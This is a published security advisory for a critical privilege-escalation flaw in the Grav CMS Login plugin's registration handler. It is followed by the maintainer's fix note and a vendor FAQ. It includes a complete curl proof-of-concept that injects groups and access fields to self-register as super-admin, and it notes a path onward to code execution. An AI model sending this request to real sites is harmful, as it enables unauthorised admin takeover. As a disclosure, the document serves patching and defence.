CVE-2026-42613

Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access

The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.

This is a missing server-side validation issue, the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.

Affected Component

• File: user/plugins/login/classes/Login.php, lines 246-306
• Method: Login::register()
• Validation: Login::validateField(), lines 363-432
• Plugin: Login Plugin 3.8.0
• Grav: 1.8.0-beta.29

Root Cause

In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:

// Line 254-260
if (!isset($data['groups'])) {
    $groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
    if (count($groups) > 0) {
        $data['groups'] = $groups;
    }
}

// Line 262-267
if (!isset($data['access'])) {
    $access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
    if (count($access) > 0) {
        $data['access']['site'] = $access;
    }
}

If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.

Later (lines 298-303), these values are assigned directly to the user object:

if (isset($data['groups'])) {
    $user->groups = $data['groups'];  // attacker-controlled
}
if (isset($data['access'])) {
    $user->access = $data['access'];  // attacker-controlled
}
$user->save();

The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.

Precondition

Registration must be enabled with groups and/or access in the configured allowed fields:

# user/config/plugins/login.yaml
user_registration:
  enabled: true
  fields:
    - username
    - password
    - email
    - fullname
    - groups    # ← enables the attack
    - access    # ← enables the attack

This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.

Proof of Concept

Malicious registration request (unauthenticated):

curl -X POST "${TARGET}/user_register" \
  --data-urlencode "data[username]=attacker" \
  --data-urlencode "data[password1]=Str0ngP@ss!" \
  --data-urlencode "data[password2]=Str0ngP@ss!" \
  --data-urlencode "data[email][email protected]" \
  --data-urlencode "data[fullname]=Attacker" \
  --data-urlencode "data[groups][]=admins" \
  --data-urlencode "data[access][admin][login]=true" \
  --data-urlencode "data[access][admin][super]=true" \
  --data-urlencode "data[access][site][login]=true" \
  --data-urlencode "form-nonce=${FORM_NONCE}" \
  --data-urlencode "__form-name__=user_register" \
  --data-urlencode "__unique_form_id__=${FORM_UID}"

Resulting account file (user/accounts/attacker.yaml):

email: [email protected]
fullname: Attacker
groups:
  - admins
access:
  admin:
    login: true
    super: true
  site:
    login: true
hashed_password: ...
state: enabled

The attacker can then log into /admin with full super-admin privileges.

Environment

• Grav Core: 1.8.0-beta.29
• Login Plugin: 3.8.0
• PHP: 8.4.11

Credits

Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/

Maintainer note, fix applied (2026-04-24)

Fixed in grav-plugin-login 3.8.2 (commit 3d419a0). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's blueprints.yaml, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.

What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop, even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.

Files:

• login.php, form handler privilege-field strip.

• Severity: Critical (when precondition is met)
• Vector: Unauthenticated → Super Admin
• Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
• Precondition: Registration enabled with groups or access in allowed fields, a configuration the admin UI permits without warning

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-42613 has a CVSS score of 9.4 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.0-beta.2); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42613? CVE-2026-42613 is a critical-severity improper input validation vulnerability in getgrav/grav (composer), affecting versions < 2.0.0-beta.2. It is fixed in 2.0.0-beta.2. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2026-42613? CVE-2026-42613 has a CVSS score of 9.4 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of getgrav/grav are affected by CVE-2026-42613? getgrav/grav (composer) versions < 2.0.0-beta.2 is affected.
4. Is there a fix for CVE-2026-42613? Yes. CVE-2026-42613 is fixed in 2.0.0-beta.2. Upgrade to this version or later.
5. Is CVE-2026-42613 exploitable, and should I be worried? Whether CVE-2026-42613 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42613 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42613? Upgrade getgrav/grav to 2.0.0-beta.2 or later.